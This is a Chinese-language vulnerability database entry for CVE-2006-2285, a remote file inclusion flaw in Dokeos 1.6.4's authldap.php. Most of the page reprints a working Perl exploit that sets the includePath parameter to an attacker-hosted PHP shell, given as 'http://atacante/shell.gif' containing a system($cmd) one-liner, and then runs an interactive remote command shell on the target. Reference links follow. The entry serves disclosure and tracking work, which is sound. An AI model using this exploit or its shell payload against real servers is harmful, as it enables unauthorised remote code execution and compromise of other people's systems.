Dokeos authldap.php PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110240 漏洞类型 输入验证
发布时间 2006-05-08 更新时间 2006-05-10
CVE编号 CVE-2006-2285 CNNVD-ID CNNVD-200605-140
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/1765
https://cxsecurity.com/issue/WLB-2006050053
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-140
|漏洞详情
Dokeos1.6.4的authldap.php存在PHP远程文件包含漏洞,远程攻击者可以通过includePath参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable 
# includePath in a include() function without being declared. 
# This issue has already been fixed in current claroline.net version, 
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}
	}
} last;

sub head()  { 
	print "\n============================================================================\r\n";
	print "  Dokeos Learning Management System Remote File Include\r\n";
	print "============================================================================\r\n";
 }
 
sub usage() {
	head();
	print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
	print " <host> - Full Path : http://host/dokeos/ \r\n";
	print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
	print " <var> - var name used in phpshell : cmd  \r\n\r\n";
	exit();
 }

# milw0rm.com [2006-05-08]
|参考资料

来源:SECUNIA
名称:19980
链接:http://secunia.com/advisories/19980
来源:BID
名称:17873
链接:http://www.securityfocus.com/bid/17873
来源:BUGTRAQ
名称:20060508DokeosLearningManagementSystem1.6.4RemoteFileInclude
链接:http://www.securityfocus.com/archive/1/archive/1/433247/100/0/threaded
来源:VUPEN
名称:ADV-2006-1680
链接:http://www.frsirt.com/english/advisories/2006/1680
来源:XF
名称:dokeos-authldap-file-include(26274)
链接:http://xforce.iss.net/xforce/xfdb/26274
来源:BID
名称:17915
链接:http://www.securityfocus.com/bid/17915
来源:OSVDB
名称:25437
链接:http://www.osvdb.org/25437
来源:SECTRACK
名称:1016089
链接:http://securitytracker.com/id?1016089
来源:SREASON
名称:856
链接:http://securityreason.com/securityalert/856